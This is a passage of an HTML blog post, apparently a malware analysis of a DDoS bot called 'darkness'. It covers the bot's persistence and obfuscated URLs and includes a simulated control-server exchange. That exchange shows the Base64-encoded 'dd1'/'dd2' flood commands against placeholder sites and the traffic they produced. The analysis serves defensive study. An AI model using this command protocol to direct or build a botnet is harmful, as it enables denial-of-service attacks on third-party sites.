&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Below is the code segment for one of
the command and action it takes if the command matches. After checking the
command , it calls the same routine multiple times and calls the CreatThread
API to initiate the DoS attack.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP2D0cKJbj2Az-ZDrIUC85C08Z0CkucisqOjZw5Q_qNCbgcXoxzoRh0motYnD_fXJ9EBhgW-Bt6RowU6g7hbpyH1kJzhZuYulmUTsrNC97TODeTLQibWiHhY2qyDGnsRHXdQntxPrhhnE/s1600/12.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgP2D0cKJbj2Az-ZDrIUC85C08Z0CkucisqOjZw5Q_qNCbgcXoxzoRh0motYnD_fXJ9EBhgW-Bt6RowU6g7hbpyH1kJzhZuYulmUTsrNC97TODeTLQibWiHhY2qyDGnsRHXdQntxPrhhnE/s400/12.png&quot; height=&quot;258&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo7Kl1PHgBYIldba2HU0-MNQ-Vs_4qzj0tFv7xKG93RD3MHuCQEDnKid8vjT1-cbTS6X99_XP2_xSJ_OwJSaC7KWwNbNS4tqiB_dUPY5FvH4p6XBwLvLGJiBVhZiSZ4DvfpU8Uu2Zr1p0/s1600/13.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo7Kl1PHgBYIldba2HU0-MNQ-Vs_4qzj0tFv7xKG93RD3MHuCQEDnKid8vjT1-cbTS6X99_XP2_xSJ_OwJSaC7KWwNbNS4tqiB_dUPY5FvH4p6XBwLvLGJiBVhZiSZ4DvfpU8Uu2Zr1p0/s400/13.png&quot; height=&quot;247&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Above unpacked view of the binary just
gives an idea of 3 hardcoded encrypted+B64 encoded URLs, the string “darkness”
, copies itself as dwm.exe and runs as IpSectPro service. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;Network communications with the bot client&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;

&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;During our extensive research on this Bot , given that
we had an idea of how the command format of the bot looks like , we were able
to simulate the DDoS attack . Once executed , client sends the Registration
request to the control server and we were able to make the server reply with
the B64 encoded DoS command as shown below :&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh77QNw5KaUpWepF0NwMPAGPBK39fIye55iq2mXKEna2EfAhJmwV8vnro4nJAb9626WrJFYCzD0ZDv1CDI_RPrBDiQ42GHaSlhgvZKah0QO5PexlEJWezj__dxkX-TTjiG24N-jF27y1BQ/s1600/14.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh77QNw5KaUpWepF0NwMPAGPBK39fIye55iq2mXKEna2EfAhJmwV8vnro4nJAb9626WrJFYCzD0ZDv1CDI_RPrBDiQ42GHaSlhgvZKah0QO5PexlEJWezj__dxkX-TTjiG24N-jF27y1BQ/s400/14.png&quot; height=&quot;125&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Decoded command is an instruction to
DoS the websites&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;dd1=http://www.abc.com/;http://www.xyz.org&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;And we were able to see the DoS attack
initiated from the client . Within the span of 5 minutes , we were able to see
approximately 80,000 hits logged on the server . &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlZm5J-Fk9fxwJef25UGyau-QcfyzVWaoD9I5cL4LuBhKPShTSElF8x_DoeV_qfwoppyd35jMWFfqVJorTlhyphenhyphenRQ85JLtgyO3HV9faLFpah10ltWLvtk5VICcU79rzwOiqInbbJZYbRGb0/s1600/15.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlZm5J-Fk9fxwJef25UGyau-QcfyzVWaoD9I5cL4LuBhKPShTSElF8x_DoeV_qfwoppyd35jMWFfqVJorTlhyphenhyphenRQ85JLtgyO3HV9faLFpah10ltWLvtk5VICcU79rzwOiqInbbJZYbRGb0/s400/15.png&quot; height=&quot;146&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Next , we also simulated the ICMP DoS
attack . We made the server reply with the “dd2” command to be able to see the
ICMP DoS. Server response in this case was as below.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;HTTP/1.1
200 OK&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Date:
December 13, 2010 2:47:53 AM PST&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Server:
Xerver/4.32&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Connection:
close&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Content-Type:
text/html&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;i&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;i&gt;ZGQyPWh0dHA6Ly93d3cuYWJjLmNvbS87aHR0cDovL3d3dy54eXoub3Jn&lt;/i&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;letter-spacing: 1.0pt;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Above B64 command when decoded : &lt;i&gt;&amp;nbsp;dd2=http://www.abc.com/;http://www.xyz.org &lt;/i&gt;which
initiated the ICMP DoS.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
